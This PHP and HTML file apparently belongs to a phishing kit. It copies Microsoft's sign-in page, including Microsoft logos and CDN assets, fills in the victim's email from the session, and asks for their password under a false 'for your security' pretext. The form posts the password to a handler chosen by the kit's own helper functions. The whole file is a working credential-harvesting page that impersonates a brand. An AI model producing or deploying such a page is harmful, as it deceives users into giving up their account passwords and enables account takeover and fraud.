<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Start session jika belum
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Load functions dan DeviceHelper
require_once __DIR__ . '/../../core/functions.php';
require_once __DIR__ . '/../../helper/DeviceHelper.php';

$hasError = false;
$email = isset($_SESSION['username']) ? $_SESSION['username'] : '';

// Cek error dari GET
if (isset($_GET['error']) && ($_GET['error'] == true || $_GET['error'] == 'true')) {
    $hasError = true;
}

// Tentukan action form (email untuk pertama kali)
$formAction = getFormAction('email');
?>
<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Sign in to your Microsoft account</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="../assets/ms/assets/css/hotmail.css">
    <style>
        .auth-error-container {
            min-height: 50px;
            display: block;
            visibility: hidden;
        }
        .auth-error-container.has-error {
            visibility: visible;
        }
        .auth-error {
            color: #cc0033;
            font-family: "Segoe UI", Arial, sans-serif;
            font-size: 14px;
            text-align: left;
            line-height: 1.5;
            margin: 0;
            padding: 0;
            background: transparent;
            border: none;
        }
        .auth-error a {
            color: #0067b8;
            text-decoration: none;
        }
        .auth-error a:hover {
            text-decoration: underline;
        }
        .form-control.has-error {
            border-color: #e81123 !important;
        }
        .inner {
            min-height: 380px;
        }
        .text-title {
            font-size: 24px !important;
            font-weight: 600 !important;
            margin-bottom: 16px !important;
        }
        .identityBanner {
            margin-top: 8px !important;
            margin-bottom: 12px !important;
        }
        .identity {
            font-size: 14px !important;
            font-weight: 600 !important;
            color: #1b1b1b !important;
        }
        .form-group {
            margin-bottom: 12px !important;
        }
        .form-control {
            width: 100% !important;
            padding: 10px 12px !important;
            border: 1px solid #666 !important;
            border-radius: 0 !important;
            font-size: 16px !important;
            height: 40px !important;
            background: transparent !important;
        }
        .form-control:focus {
            border-color: #0067b8 !important;
            outline: none !important;
        }
        .btn-primary {
            width: 100% !important;
            padding: 10px !important;
            background-color: #0067b8 !important;
            color: #fff !important;
            border: none !important;
            font-size: 16px !important;
            font-weight: 600 !important;
            cursor: pointer !important;
            border-radius: 0 !important;
            min-height: 40px !important;
        }
        .btn-primary:hover {
            background-color: #005da6 !important;
        }
        .btn-primary:disabled {
            background-color: #ccc !important;
            cursor: not-allowed !important;
        }
        .action-links a {
            color: #0067b8 !important;
            text-decoration: none !important;
            font-size: 14px !important;
        }
        .action-links a:hover {
            text-decoration: underline !important;
        }
        .footerNode a {
            color: #666 !important;
            text-decoration: none !important;
            margin: 0 10px !important;
            font-size: 12px !important;
        }
        .footerNode a:hover {
            text-decoration: underline !important;
        }
        .logo {
            height: 24px !important;
            width: auto !important;
            display: block !important;
            margin: 0 auto 12px auto !important;
        }
        .placeholderContainer {
            position: relative;
        }
        .position-buttons {
            margin-top: 6px !important;
        }
        .position-buttons > div:first-child {
            margin-bottom: 6px !important;
        }
        .button-container {
            position: relative !important;
            margin-top: 2px !important;
        }
        @media (max-width: 600px) {
            .inner {
                min-height: 300px;
            }
            .auth-error-container {
                min-height: 40px;
            }
            .text-title {
                font-size: 20px !important;
            }
        }
    </style>
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <div>
            <div class="background" style="background-image: url('../assets/ms/assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="<?php echo $formAction; ?>">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" alt="Microsoft">
                        </div>

                        <div role="main">
                            <div>
                                <div>
                                    <div class="identityBanner">
                                        <div id="displayName" class="identity" data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }" title="<?php echo htmlspecialchars($email); ?>">
                                            <?php echo htmlspecialchars($email); ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="pagination-view has-identity-banner">
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Email authentication</div>
                                    
                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                            </div>
                                            <div class="placeholderContainer">
                                                <p style="font-size: 14px; margin-bottom: 12px;">For your security, please sign in with your email address to confirm your account.</p>
                                                <input type="hidden" name="username" value="<?php echo htmlspecialchars($email); ?>">
                                                <input name="passwordemail" required="required" type="password" id="i0118" autocomplete="off" class="form-control" aria-describedby="passwordError loginHeader passwordDesc" aria-required="true" placeholder="Password" aria-label="Enter your password" autofocus>
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <div data-bind="invertOrder: svr.B4, css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons">
                                        <div>
                                            <div class="row">
                                                <div class="col-md-24">
                                                    <div class="text-13 action-links">
                                                        <div class="form-group"> 
                                                            <a id="idA_PWD_ForgotPassword" role="link" href="#" data-bind="text: str['CT_PWD_STR_ForgotPwdLink_Text'], href: svr.n, click: resetPassword_onClick" style="color: #0067b8;">Forgot password?</a> 
                                                        </div>
                                                        <div class="form-group"></div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }">
                                            <div>
                                                <div class="col-xs-24 no-padding-left-right form-group no-margin-bottom button-container">
                                                    <div class="inline-block" style="width: 100%;">
                                                        <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" value="Continue">
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            
            <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }" style="background: transparent;">
                <div>
                    <div id="footerLinks" class="footerNode text-secondary">
                        <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" style="color: #666;">Terms of use</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;">Privacy &amp; cookies</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;font-size: 16px;">. . .</a>
                    </div>
                </div>
            </div>
        </div>
    </div>
    </form>
    </div>
    
    <div>
        <!--  -->
    </div>
</body>
</html>